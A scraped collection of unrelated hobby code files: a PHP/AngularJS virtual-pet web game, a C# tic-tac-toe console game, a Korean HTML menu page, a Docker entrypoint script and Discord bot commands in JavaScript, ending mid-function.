$row = $stmt->fetchAll(PDO::FETCH_ASSOC);
$response = $row;
}
echo json_encode($response);
<file_sep>myApp.controller("waterGameController",function($scope,$rootScope,homeSvc){
var waterList = [
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "drop",
url : "./assets/img/game2/drop.png",
visible : false ,
points : 1
},
{
name : "water",
url : "./assets/img/game2/water.png",
visible : false ,
points : 10
},
{
name : "water",
url : "./assets/img/game2/water.png",
visible : false ,
points : 10
},
{
name : "water",
url : "./assets/img/game2/water.png",
visible : false ,
points : 10
},
{
name : "water",
url : "./assets/img/game2/water.png",
visible : false ,
points : 10
},
{
name : "water",
url : "./assets/img/game2/water.png",
visible : false ,
points : 10
},
{
name : "water",
url : "./assets/img/game2/water.png",
visible : false ,
points : 10
},
{
name : "water",
url : "./assets/img/game2/water.png",
visible : false ,
points : 10
},
{
name : "water",
url : "./assets/img/game2/water.png",
visible : false ,
points : 10
},
{
name : "water",
url : "./assets/img/game2/water.png",
visible : false ,
points : 10
},
{
name : "water",
url : "./assets/img/game2/water.png",
visible : false ,
points : 10
},
{
name : "max-water",
url : "./assets/img/game2/max-water.png",
visible : false ,
points : 50
},
{
name : "max-water",
url : "./assets/img/game2/max-water.png",
visible : false ,
points : 50
}
];
$scope.points = 0;
$scope.bullets = 10;
$scope.waterList = shuffle(waterList);
$scope.diamonds = 0;
$scope.water = 0;
$scope.reset = function(){
for(water in waterList){
waterList[water].visible = false;
}
$scope.points = 0;
$scope.bullets = 10;
$scope.waterList = shuffle(waterList);
$scope.diamonds = 0;
$scope.water = 0;
}
$scope.turnVisible = function(index){
if($scope.bullets > 1){
$scope.bullets -= 1;
$scope.points += $scope.waterList[index].points;
$scope.waterList[index].visible = true;
}else if($scope.bullets == 1){
$scope.bullets -= 1;
$scope.points += $scope.waterList[index].points;
$scope.waterList[index].visible = true;
calcProfit();
// end game give points here
}
}
function calcProfit (){
if($scope.points < 50){
$scope.water = 1;
}else if($scope.points >= 50 && $scope.points < 100){
$scope.water = 2;
$scope.diamonds = 1;
}else if($scope.points >= 100 && $scope.points < 150){
$scope.water = 3;
$scope.diamonds = 2;
}else {
$scope.water = 5;
$scope.diamonds = 5;
}
$rootScope.player.drink_q = parseInt($rootScope.player.drink_q) + $scope.water;
$rootScope.player.diamonds = parseInt($rootScope.player.diamonds) + $scope.diamonds;
homeSvc.setData($rootScope.baby, $rootScope.player);
}
});
function shuffle(array) {
var counter = array.length;
// While there are elements in the array
while (counter > 0) {
// Pick a random index
var index = Math.floor(Math.random() * counter);
// Decrease counter by 1
counter--;
// And swap the last element with it
var temp = array[counter];
array[counter] = array[index];
array[index] = temp;
}
return array;
}
<file_sep><?php
require_once 'dbconfig.php';
$response = [];
if(!empty($_POST)){
$username = $_POST['username'];
$stmt = $pdo->prepare("SELECT username2 FROM friends WHERE username1=:username1");
$stmt->execute(array(":username1"=>$username));
$row = $stmt->fetchAll(PDO::FETCH_ASSOC);
$response = $row;
}
echo json_encode($response);
<file_sep><?php
require_once 'dbconfig.php';
$sth = $pdo->prepare('UPDATE user_stats SET diamonds = :diamonds, food_q = :food_q, drink_q = :drink_q,
toys_q = :toys_q, cloth_lvl = :cloth_lvl, food_lvl = :food_lvl, points = :points
WHERE username = :username');
$username = empty($_POST['username']) ? '' : $_POST['username'];
$diamonds = empty($_POST['diamonds']) ? '' : $_POST['diamonds'];
$foodQ = empty($_POST['food_q']) ? '' : $_POST['food_q'];
$drinkQ = empty($_POST['drink_q']) ? '' : $_POST['drink_q'];
$toysQ = empty($_POST['toys_q']) ? '' : $_POST['toys_q'];
$clothLvl = empty($_POST['cloth_lvl']) ? '' : $_POST['cloth_lvl'];
$foodLvl = empty($_POST['food_lvl']) ? '' : $_POST['food_lvl'];
$points = empty($_POST['points']) ? '' : $_POST['points'];
$sth->execute([':diamonds' => $diamonds, ':food_q' => $foodQ, ':drink_q' => $drinkQ, ':toys_q' => $toysQ,
':cloth_lvl' => $clothLvl, ':food_lvl' => $foodLvl, ':points' => $points, ':username' => $username]);
echo json_encode('Done');<file_sep><?php
require_once 'dbconfig.php';
$sth = $pdo->prepare("SELECT * FROM user_stats");
$sth->execute();
$result = $sth->fetchAll(PDO::FETCH_ASSOC);
foreach ($result as $key => $value) {
$value['Resource'] = $value['food_q'] + $value['toys_q'] + $value['drink_q'];
}
echo json_encode($result);
<file_sep>myApp.controller("friendsController",function($location ,$http, $httpParamSerializerJQLike,$scope,loggedUserSvc,friendsSvc){
$scope.requests = [];
$scope.friends = [];
updateRequests();
updateFriends();
$scope.reject = function(index){
var data = {
"receiver" : loggedUserSvc.getInfo().username,
"sender" : $scope.requests[index].sender
}
$http({
method: 'POST',
url: './server/rejectRequest.php',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
data : $httpParamSerializerJQLike(data)
}).then(function successCallback(response) {
updateRequests();
}, function errorCallback(response) {
console.log("ERROR");
});
}
function updateRequests(){
var data = {
"username" : loggedUserSvc.getInfo().username
}
$http({
method: 'POST',
url: './server/getFriendRequests.php',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
data : $httpParamSerializerJQLike(data)
}).then(function successCallback(response) {
$scope.requests = response.data;
}, function errorCallback(response) {
console.log("ERROR");
});
}
$scope.accept = function(index){
var data = {
"receiver" : loggedUserSvc.getInfo().username,
"sender" : $scope.requests[index].sender
}
$http({
method: 'POST',
url: './server/acceptRequest.php',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
data : $httpParamSerializerJQLike(data)
}).then(function successCallback(response) {
updateRequests();
updateFriends();
}, function errorCallback(response) {
console.log("ERROR");
});
}
function updateFriends(){
var data = {
"username" : loggedUserSvc.getInfo().username
}
$http({
method: 'POST',
url: './server/getFriends.php',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
data : $httpParamSerializerJQLike(data)
}).then(function successCallback(response) {
$scope.friends = response.data;
}, function errorCallback(response) {
console.log("ERROR");
});
}
$scope.viewProfil = function(index){
var string = "/users/" + $scope.friends[index].username2;
$location.path(string);
}
$scope.removeFriend = function(index){
var data = {
"receiver" : loggedUserSvc.getInfo().username,
"sender" : $scope.friends[index].username2
}
$http({
method: 'POST',
url: './server/removeFriend.php',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
data : $httpParamSerializerJQLike(data)
}).then(function successCallback(response) {
updateFriends();
}, function errorCallback(response) {
console.log("ERROR");
});
}
});
<file_sep><?php
require_once 'dbconfig.php';
$response = [];
if(!empty($_POST)){
$username = $_POST['username'];
$stmt = $pdo->prepare("SELECT sender FROM friend_requests WHERE receiver=:receiver");
$stmt->execute(array(":receiver"=>$username));
$row = $stmt->fetchAll(PDO::FETCH_ASSOC);
$response = $row;
}
echo json_encode($response);
<file_sep>var myApp = angular.module("myApp",['ngRoute','ngAnimate','ui.bootstrap','ui.grid']);
<file_sep><?php
require_once 'dbconfig.php';
$insertBabySql = 'INSERT INTO baby_info
(parent, name, gender, food, drink, happiness, is_alive)
VALUES (?, ?, ?, ?, ?, ?, ?)';
if (!empty($_POST)) {
$parent = empty($_POST['parent']) ? '' : $_POST['parent'];
$name = empty($_POST['name']) ? '' : $_POST['name'];
$gender = empty($_POST['gender']) ? '' : $_POST['gender'];
$food = empty($_POST['food']) ? '' : $_POST['food'];
$drink = empty($_POST['drink']) ? '' : $_POST['drink'];
$happiness = empty($_POST['happiness']) ? '' : $_POST['happiness'];
$isAlive = empty($_POST['is_alive']) ? '' : $_POST['is_alive'];
$baby = [$parent, $name, $gender, $food, $drink, $happiness, $isAlive];
$statement = $pdo->prepare($insertBabySql);
$statement->execute($baby);
echo json_encode('Done');
}<file_sep>myApp.factory("homeSvc", function($http, $httpParamSerializerJQLike){
var info = {
'baby': {},
'player': {}
};
var saveNewBaby = function(baby) {
info.baby = baby;
$http({
method: 'POST',
url: './server/saveBaby.php',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
data : $httpParamSerializerJQLike(baby)
}).then(function successCallback(response) {
}, function errorCallback(response) {
console.log("ERROR");
console.log(response.data);
});
}
var getBaby = function(user) {
return $http({
method: 'POST',
url: './server/getBaby.php',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
data : $httpParamSerializerJQLike(user)
}).then(function successCallback(response) {
info.baby = response.data[0];
return info.baby;
}, function errorCallback(response) {
console.log("ERROR");
console.log(response.data);
});
}
var getPlayer = function(user) {
return $http({
method: 'POST',
url: './server/getPlayer.php',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
data : $httpParamSerializerJQLike(user)
}).then(function successCallback(response) {
info.player = response.data[0];
return info.player;
}, function errorCallback(response) {
console.log("ERROR");
console.log(response.data);
});
}
var setData = function(baby, player) {
info.baby = baby;
info.player = player;
$http({
method: 'POST',
url: './server/updateBaby.php',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
data : $httpParamSerializerJQLike(baby)
}).then(function successCallback(response) {
setPlayer(player);
}, function errorCallback(response) {
console.log("ERROR");
console.log(response.data);
});
}
function setPlayer(player) {
$http({
method: 'POST',
url: './server/updatePlayer.php',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
data : $httpParamSerializerJQLike(player)
}).then(function successCallback(response) {
}, function errorCallback(response) {
console.log("ERROR");
console.log(response.data);
});
}
return {
saveNewBaby: saveNewBaby,
getBaby: getBaby,
getPlayer: getPlayer,
setData: setData
};
});
<file_sep><?php
require_once 'dbconfig.php';
$insertPlayerSql = 'INSERT INTO user_stats
(username, diamonds, food_q, drink_q, toys_q, food_lvl, cloth_lvl, points)
VALUES (?, ?, ?, ?, ?, ?, ?, ?)';
if (!empty($_POST)) {
$username = empty($_POST['username']) ? '' : $_POST['username'];
$diamonds = empty($_POST['diamonds']) ? '' : $_POST['diamonds'];
$foodQ = empty($_POST['food_q']) ? '' : $_POST['food_q'];
$drinkQ = empty($_POST['drink_q']) ? '' : $_POST['drink_q'];
$toysQ = empty($_POST['toys_q']) ? '' : $_POST['toys_q'];
$foodLvl = empty($_POST['food_lvl']) ? '' : $_POST['food_lvl'];
$clothLvl = empty($_POST['cloth_lvl']) ? '' : $_POST['cloth_lvl'];
$points = empty($_POST['points']) ? '' : $_POST['points'];
$player = [$username, $diamonds, $foodQ, $drinkQ, $toysQ, $foodLvl, $clothLvl, $points];
$statement = $pdo->prepare($insertPlayerSql);
$statement->execute($player);
echo json_encode('Done');
}<file_sep><?php
require_once 'dbconfig.php';
$userName = empty($_POST['username']) ? '' : $_POST['username'];
$sth = $pdo->prepare("SELECT * FROM user_stats WHERE username=:username");
$sth->execute([':username' => $userName]);
$result = $sth->fetchAll(PDO::FETCH_ASSOC);
echo json_encode($result);<file_sep>myApp.controller("rankingController",function($scope,$http,$httpParamSerializerJQLike,loggedUserSvc){
$scope.myData = [];
$scope.itemsByPage=15;
getData();
function getData(){
$http({
method: 'GET',
url: './server/getAllUserStats.php',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
}).then(function successCallback(response) {
$scope.myData = convertToInt(response.data);
}, function errorCallback(response) {
console.log("ERROR");
console.log(response.data);
});
}
function convertToInt(array) {
for(obj in array){
array[obj].cloth_lvl = parseInt(array[obj].cloth_lvl);
array[obj].diamonds = parseInt(array[obj].diamonds);
array[obj].drink_q = parseInt(array[obj].drink_q);
array[obj].food_lvl = parseInt(array[obj].food_lvl);
array[obj].food_q = parseInt(array[obj].food_q);
array[obj].id = parseInt(array[obj].id);
array[obj].points = parseInt(array[obj].points);
array[obj].toys_q = parseInt(array[obj].toys_q);
}
return array;
}
});
<file_sep>myApp.controller('mainController',function($scope,$location,$rootScope,loggedUserSvc){
$scope.logout = function() {
localStorage.removeItem("username");
loggedUserSvc.clearInfo();
}
$scope.checkLog = function(){
return loggedUserSvc.getInfo().logged;
}
})
.filter('startFrom',function(){
return function(data,start){
return data.slice(start);
}
})
;
|
b2936aa98e3f8174406dffcc480cab9b717329b0
|
[
"Batchfile",
"JavaScript",
"PHP"
] | 30 |
Batchfile
|
sonkich/finalProject
|
94baaa3aee37f0cf93a486132d7137eca3b1013f
|
14432fbb3f109b8e08be08a6bfe2d968850fefab
|
refs/heads/main
|
<file_sep><!doctype html>
<html>
<head>
<title>드래곤스톤퀘스트-기술</title>
<meta charset="utf-8">
</head>
<body>
<h1><a href="index.html">메뉴</a></h1>
<ol>
<li><a href="상태.html">상태</a></li>
<li><a href="기술.html">기술</a></li>
<li><a href="레이드.html">레이드</a></li>
<li><a href="지식의기록.html">지식의기록</a></li>
</ol>
<br>
--------------------------------------------------------------------------------------------------------------------
<br><br>
<strong>요리</strong>
<BR><br>
해본 요리
<br><br>
해보고 싶은 요리
<br><br><br><br>
<strong>뜨개질</strong>
</body>
</html>
|
0ea985c6d2237ebd507cb0a80c1cdbb05e208520
|
[
"HTML"
] | 1 |
HTML
|
up456/web
|
c615717f8864c4d0e324819c7fa525d9f6db9189
|
bca053671924e2728fefc689359643f4899d4441
|
refs/heads/master
|
<file_sep># Fingerpaint01
Simple fingerpainting mobile app
- Developed in beginner mobile app course using MIT App Inventor 2
|
90d9f2bd6c0d31ea13f11f89903a829e8108853f
|
[
"Markdown"
] | 1 |
Markdown
|
AmyWeitzman/Fingerpaint01
|
29ed1e5d433830198899bf546977d34e4b77d687
|
7330a4a0a45187916e59776e03d6f2383e39df9c
|
refs/heads/master
|
<repo_name>dansailer/tusd_container<file_sep>/docker-entrypoint.sh
#!/bin/bash
set -e
# Run as user "tusd" if the command is "tusd"
if [ "$1" = 'tusd' ]; then
set -- gosu tusd tini -- "$@"
fi
exec "$@"
|
70a9de4ad7ad24bd16cb424953695b9b5835c837
|
[
"Shell"
] | 1 |
Shell
|
dansailer/tusd_container
|
749a49c6c7b4fd1295f284ced7241c08b344f516
|
956d2635ccc455ac5d33bda92741cd27300b3854
|
refs/heads/master
|
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TicTacToe
{
class Player
{
int inputNumber;
string input;
public List<int> P1List = new List<int>();
public List<int> P2List = new List<int>();
public List<int> TotalList = new List<int>();
bool isInList = false;
public void P1()
{
inputNumber = 10;
isInList = true;
while (inputNumber > 9 || inputNumber < 1 || isInList == true)
{
input = Console.ReadLine();
if (!Int32.TryParse(input, out inputNumber))
{
Console.WriteLine("You need to write a number.");
}
else
{
isInList = TotalList.Contains(inputNumber);
if (isInList == false)
{
P1List.Add(inputNumber);
TotalList.Add(inputNumber);
}
else
{
Console.WriteLine("You can not have a unit there. There is already a unit in there.");
}
if (inputNumber > 9 || inputNumber < 1)
{
Console.WriteLine("You may only type numbers between 1-9");
}
}
}
}
public void P2()
{
inputNumber = 10;
isInList = true;
while (inputNumber > 9 || inputNumber < 1 || isInList == true)
{
input = Console.ReadLine();
if(!Int32.TryParse(input, out inputNumber))
{
Console.WriteLine("You need to write a number.");
}
else
{
isInList = TotalList.Contains(inputNumber);
if (isInList == false)
{
P2List.Add(inputNumber);
TotalList.Add(inputNumber);
}
else
{
Console.WriteLine("You can not have a unit there. There is already a unit in there.");
}
if (inputNumber > 9 || inputNumber < 1)
{
Console.WriteLine("You may only type numbers between 1-9");
}
}
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TicTacToe
{
class Board
{
public char P1sym = 'X';
public char P2sym = 'O';
Player player = new Player();
End end;
int j ;
//setPlayer puts the player 1 = false and player 2 = true
static string p1 = "Player 1";
static string p2 = "Player 2";
public Board(string name,string name2)
{
end = new End(name, name2);
}
static void Main(string[] args)
{
Console.WriteLine("Welcome to TicTacToe, Please type in the 2 following players names.");
p1 = Console.ReadLine();
p2 = Console.ReadLine();
var board = new Board(p1,p2);
Console.WriteLine("Player 1's name is " + p1);
Console.WriteLine("Player 2's name is " + p2);
Console.WriteLine("Thank you, I will now instruct you how to play the game");
board.initiateBoard();
Console.WriteLine("You can only type in between number 1-9 as you see on the screen, may the best player win");
board.runGame();
Console.ReadLine();
}
public void initiateBoard()
{
for (int i = 1; i < 10; i++)
{
Console.Write(i);
if (i % 3 == 0)
{
Console.WriteLine("");
}
}
}
public void runGame()
{
while (end.GameOver == false)
{
// switching between
if (j % 2 == 0)
{
end.SetPlayer = false;
player.P1();
}
else
{
end.SetPlayer = true;
player.P2();
}
//updating the board
for (int i = 1; i < 10; i++)
{
if (player.P1List.Contains(i))
{
Console.Write(P1sym);
}
else if (player.P2List.Contains(i))
{
Console.Write(P2sym);
}
else
{
Console.Write(i);
}
if (i % 3 == 0)
{
Console.WriteLine("");
}
}
if (end.SetPlayer == false)
{
end.WinCondition(player.P1List);
}
else
{
end.WinCondition(player.P2List);
}
j++;
if (j == 9 && end.GameOver == false)
{
end.TieCondition();
}
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TicTacToe
{
class End
{
private string name1;
private string name2;
public bool SetPlayer { get; set; }
public End(string name1,string name2)
{
this.name1 = name1;
this.name2 = name2;
}
public bool GameOver = false;
public void WinCondition(List<int> l)
{
if (l.Contains(1) && l.Contains(2) && l.Contains(3) ||
l.Contains(4) && l.Contains(5) && l.Contains(6) ||
l.Contains(7) && l.Contains(8) && l.Contains(9) ||
l.Contains(1) && l.Contains(4) && l.Contains(7) ||
l.Contains(2) && l.Contains(5) && l.Contains(8) ||
l.Contains(3) && l.Contains(6) && l.Contains(9) ||
l.Contains(1) && l.Contains(5) && l.Contains(9) ||
l.Contains(3) && l.Contains(5) && l.Contains(7))
{
GameOver = true;
if (SetPlayer == false)
{
Console.WriteLine("Congratulations to " + name1);
}
if (SetPlayer == true)
{
Console.WriteLine("Congratulations to " + name2);
}
}
}
public void TieCondition()
{
GameOver = true;
Console.WriteLine("It was a tie, well fought!");
}
}
}
|
c8a781971463426a78a0b44e628b5bf9b7da4eb8
|
[
"C#"
] | 3 |
C#
|
Kensumari/TicTacToe
|
ff1789a25f100a7cba1a05ac2055763f075653c4
|
121dbcb73feb192ffa9249540811a8b5de617e69
|
refs/heads/main
|
<file_sep>const { MessageEmbed, MessageAttachment } = require("discord.js");
const { readFileSync, readdirSync } = require('fs');
const db = require('quick.db');
const shipDb = new db.table('shipDb');
module.exports = {
name: "slap",
category: "fun",
description: "Tát ai đó",
usage: "<PREFIX>slap <@tag>",
run: async (client, message, args) => {
const folder = readdirSync("././assets/slap/");
const file = readFileSync(`././assets/slap/${folder[Math.floor(Math.random() * folder.length)]}`);
const attachment = new MessageAttachment(file, 'slap.gif');
const nguoitag = message.mentions.members.first() || message.guild.members.cache.get(args[0]);
const embed = new MessageEmbed()
.attachFiles(attachment)
.setImage('attachment://slap.gif');
if (!nguoitag) embed.setDescription(`${message.member} đã tự vả chính mình 🤚`);
else if (shipDb.has(message.author.id)) {
const authorData = await shipDb.get(message.author.id);
if (authorData.target.id == nguoitag.id) {
authorData.target.slaps++;
await shipDb.set(message.author.id, authorData);
embed.setFooter(`Cái tát ${authorData.target.slaps !== 1 ? `thứ ${authorData.target.slaps}` : 'đầu tiên'} của bạn.`);
}
}
else embed.setDescription(`${message.member} đã tát vỡ mồm ${nguoitag} 🤚`);
message.channel.send(embed);
},
};<file_sep>const { MessageEmbed } = require('discord.js');
const { getMember } = require('../../functions/utils');
module.exports = {
name: "avatar",
aliases: ["ava", "avt"],
category: "info",
description: "Xem avatar của người khác",
usage: "<PREFIX>avatar <tag>",
example: "<PREFIX>avatar @AldermanJ#1234",
run: (client, message, args) => {
const embed = new MessageEmbed();
const member = getMember(message, args.join(' '));
const avaurl = member.user.displayAvatarURL({ format: 'jpg', dynamic: true, size: 1024 });
embed.setImage(avaurl)
.setTitle(`Link avatar: `)
.setURL(avaurl);
message.channel.send(embed);
},
};<file_sep>const { MessageAttachment } = require('discord.js');
const SQLite = require('better-sqlite3');
const sql = new SQLite('./data.sqlite');
const canvas = require('../../functions/canvasfunction');
const fs = require('fs');
const random_num = require('random-number-csprng');
const db = require('quick.db');
module.exports = {
name: "rank",
category: "ranking",
description: "Check rank",
usage: "<PREFIX>rank [@tag]",
example: "<PREFIX>rank @phamleduy04",
note: "Max level là 999",
cooldown: 15,
run: async (client, message, args) => {
const serverStatus = db.get(`${message.guild.id}.msgcount`);
if (serverStatus === false) return message.channel.send('Server không bật hệ thống rank!');
const table = sql.prepare("SELECT count(*) FROM sqlite_master WHERE type='table' AND name = 'xpdata';").get();
if (!table['count(*)']) {
// If the table isn't there, create it and setup the database correctly.
sql.prepare("CREATE TABLE xpdata (id TEXT PRIMARY KEY, user TEXT, guild TEXT, xp INTEGER, level INTEGER);").run();
// Ensure that the "id" row is always unique and indexed.
sql.prepare("CREATE UNIQUE INDEX idx_xpdata_id ON xpdata (id);").run();
sql.pragma("synchronous = 1");
sql.pragma("journal_mode = wal");
}
const insert = sql.prepare("SELECT * FROM xpdata WHERE user = ? AND guild = ?");
const member = message.mentions.members.first() || message.guild.members.cache.get(args[0]) || message.member;
if (member.user.bot) return message.reply('Bạn không thể xem rank của bot!');
const data = insert.get(member.user.id, message.guild.id);
const server_data = sql.prepare("SELECT * FROM xpdata WHERE guild = ? ORDER BY level DESC, xp DESC;").all(message.guild.id);
let rank = server_data.findIndex(userdata => userdata.user == member.user.id);
if (rank == -1) return message.reply('Người bạn tìm không có rank!');
rank++;
let userbackground;
if (fs.existsSync(`././assets/userbackground/${member.id}.jpg`))
userbackground = fs.readFileSync(`././assets/userbackground/${member.id}.jpg`);
const img = await canvas.rank({ username: member.user.username, discrim: member.user.discriminator, level: data.level, rank: rank, neededXP: data.level * 300, currentXP: data.xp, avatarURL: member.user.displayAvatarURL({ format: 'png' }), color: "#FFFFFF", status: member.user.presence.status, background: userbackground });
const attachment = new MessageAttachment(img, "rank.png");
const random = await random_num(0, 100);
message.channel.send(random < 20 ? `Nếu bạn muốn có background custom, hãy vào support server!` : `Rank của bạn **${member.user.username}**`, attachment);
},
};<file_sep>const axios = require('axios');
const gggeolocaionkey = process.env.GEOLOCATION;
const timezonedb = process.env.TIMEZONEDB;
module.exports = {
name: 'time',
category: 'info',
description: 'Xem giờ ở một vị trí nào đó',
usage: '<PREFIX>time <nhập địa chỉ, zipcode, hay gì cũng được>',
example: '<PREFIX>time Dallas,TX',
run: async (client, message, args) => {
if (!args[0]) return message.reply('Ghi tên thành phố hoặc địa chỉ của bạn!.');
const search = encodeURIComponent(args.join(' '));
try {
let googleData = await axios.get(`https://maps.googleapis.com/maps/api/geocode/json?address=${search}&key=${gggeolocaionkey}`);
googleData = googleData.data;
if (googleData.status == 'ZERO_RESULTS') return message.channel.send('Từ khoá bạn vừa nhập không có trong bản đồ!');
if (googleData.status == 'REQUEST_DENIED') throw new Error('Cần thay đổi API KEY của ggeolocation!');
googleData = googleData.results[0];
if (googleData.geometry) {
const geo = googleData.geometry;
let timedb = await axios.get(`http://api.timezonedb.com/v2.1/get-time-zone?key=${timezonedb}&format=json&by=position&lat=${geo.location.lat}&lng=${geo.location.lng}`);
timedb = timedb.data;
message.channel.send(`Múi giờ ${timedb.zoneName}, ${timedb.formatted}`);
}
}
catch(e) {
console.log(e);
message.channel.send('Bot lỗi khi đang cố gắng truy xuất dữ liệu, vui lòng thử lại sau!');
}
},
};<file_sep>const Canvas = require('canvas');
const { join } = require('path');
const { circle, toAbbrev } = require('./utils');
module.exports = {
welcome: async function welcome(username, discrim, avatarURL, membersize) {
if (!username) throw new Error("No username was provided");
if (!discrim) throw new Error("No discrim was provided!");
if (!avatarURL) throw new Error("No avatarURL was provided!");
if (!membersize) throw new Error("No membersize was provided!");
Canvas.registerFont(join(__dirname, '..', 'assets', 'font', 'Cadena.ttf'), { family: 'Cadena', weight: "regular", style: "normal" });
// create canvas
const canvas = Canvas.createCanvas(700, 250);
const ctx = canvas.getContext('2d');
const background = await Canvas.loadImage(join(__dirname, '..', 'assets', 'images', 'moscow.png'));
ctx.drawImage(background, 0, 0, canvas.width, canvas.height);
const font = 'Cadena';
ctx.font = `30px ${font}`;
ctx.fillStyle = '#ffffff';
ctx.textAlign = 'start';
ctx.shadowBlur = 10;
ctx.shadowColor = 'black';
ctx.fillText('Chào mừng', 260, 100);
const welcometextPosition = { width: 260, height: 150 };
let fontSize = 55;
ctx.font = `${fontSize}px ${font}`;
do {
fontSize -= 1;
ctx.font = `${fontSize}px ${font}`;
} while (ctx.measureText(`${username}#${discrim}!`).width > 430);
ctx.fillStyle = '#ffffff';
ctx.textAlign = 'start';
ctx.fillText(`${username}`, welcometextPosition.width, welcometextPosition.height, 455);
ctx.fillStyle = 'rgba(255, 255, 255, 0.5)';
ctx.textAlign = 'start';
ctx.fillText(`#${discrim}!`, ctx.measureText(`${username}`).width + welcometextPosition.width, welcometextPosition.height);
ctx.shadowBlur = 0;
ctx.fillStyle = '#ffffff';
ctx.textAlign = 'start';
ctx.font = `29px ${font}`;
ctx.fillText(`Bạn là người thứ ${membersize} của server!`, welcometextPosition.width, welcometextPosition.height + 40);
ctx.beginPath();
ctx.arc(125, 125, 100, 0, Math.PI * 2, true);
ctx.closePath();
ctx.clip();
const avatar = await Canvas.loadImage(avatarURL);
ctx.drawImage(avatar, 25, 25, 200, 200);
return canvas.toBuffer();
},
rank: async function(options = { username, discrim, level, rank, neededXP, currentXP, avatarURL, color: '#FFFFFF', background, overlay: true, status: 'online', gradient: [] }) {
if (!options.username) throw new Error('No username was provided!');
if (!options.level) throw new Error('No level was provided!');
if (!options.rank) throw new Error('No rank was provided!');
if (!options.neededXP) throw new Error('No totalXP was provided!');
if (!options.currentXP) throw new Error('No currentXP was provided!');
if (!options.avatarURL) throw new Error('No avatarURL was provided!');
if (!options.color || typeof options.color !== 'string') options.color = '#FFFFFF';
if (options.overlay !== false) options.overlay = true;
if (!options.status) options.status = 'online';
if (
typeof options.status !== 'string' ||
!['online', 'offline', 'idle', 'dnd'].includes(options.status.toLowerCase())
)
throw new Error('Status must be one of online, idle, dnd or offline.');
const statuses = {
dnd: join(__dirname, '..', 'assets', 'images', 'dnd.png'),
idle: join(__dirname, '..', 'assets', 'images', 'idle.png'),
online: join(__dirname, '..', 'assets', 'images', 'online.png'),
offline: join(__dirname, '..', 'assets', 'images', 'offline.png'),
};
const {
username,
discrim,
level,
rank,
neededXP,
currentXP,
avatarURL,
color,
background,
overlay,
status,
gradient,
} = options;
Canvas.registerFont(join(__dirname, '..', 'assets', 'font', 'regular-font.ttf'), {
family: 'Manrope',
weight: 'regular',
style: 'normal',
});
Canvas.registerFont(join(__dirname, '..', 'assets', 'font', 'bold-font.ttf'), {
family: 'Manrope',
weight: 'bold',
style: 'normal',
});
Canvas.registerFont(join(__dirname, '..', 'assets', 'font', 'Cadena.ttf'), { family: 'Cadena', weight: "regular", style: "normal" });
const canvas = Canvas.createCanvas(934, 282);
const ctx = canvas.getContext('2d');
let bg;
let rankCard;
